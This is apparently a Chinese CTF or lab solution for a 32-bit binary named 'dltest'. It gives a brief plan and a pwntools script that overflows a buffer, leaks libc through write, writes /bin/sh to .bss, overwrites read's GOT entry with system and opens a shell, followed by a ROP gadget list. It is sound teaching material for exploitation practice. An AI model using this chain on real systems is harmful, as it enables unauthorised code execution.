任务5

说一下思路
1.泄露libc，得到system
2.将/bin/sh写入bss
3.将system写入read的got表里
4.执行read

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./dltest')
elf=ELF('./dltest')
p.recvuntil('~!\n')
bss=0x804a000+0x400
#pwnlib.gdb.attach(p)
shellcode='a'*(0x6c+4)
shellcode+=p32(elf.plt['write'])+p32(0x080485cc)+p32(1)+p32(elf.got['write'])+p32(4)
shellcode+=p32(elf.plt['read'])+p32(0x080485cc)+p32(0)+p32(bss)+p32(8)
shellcode+=p32(elf.plt['read'])+p32(0x080485cc)+p32(0)+p32(elf.got['read'])+p32(4)
shellcode+=p32(elf.plt['read'])+p32(0)+p32(bss)
p.sendline(shellcode)

write=u32(p.recv(4).ljust(4,'\x00'))
libc=LibcSearcher('write',write)
system=write-libc.dump('write')+libc.dump('system')
p.send('/bin/sh\x00')
p.send(p32(system))

p.interactive()
'''
0x080485ce : pop ebp ; ret
0x080485cc : pop ebx ; pop edi ; pop ebp ; ret
0x0804862c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048381 : pop ebx ; ret
0x080485cd : pop edi ; pop ebp ; ret
0x0804862d : pop esi ; pop edi ; pop ebp ; ret
'''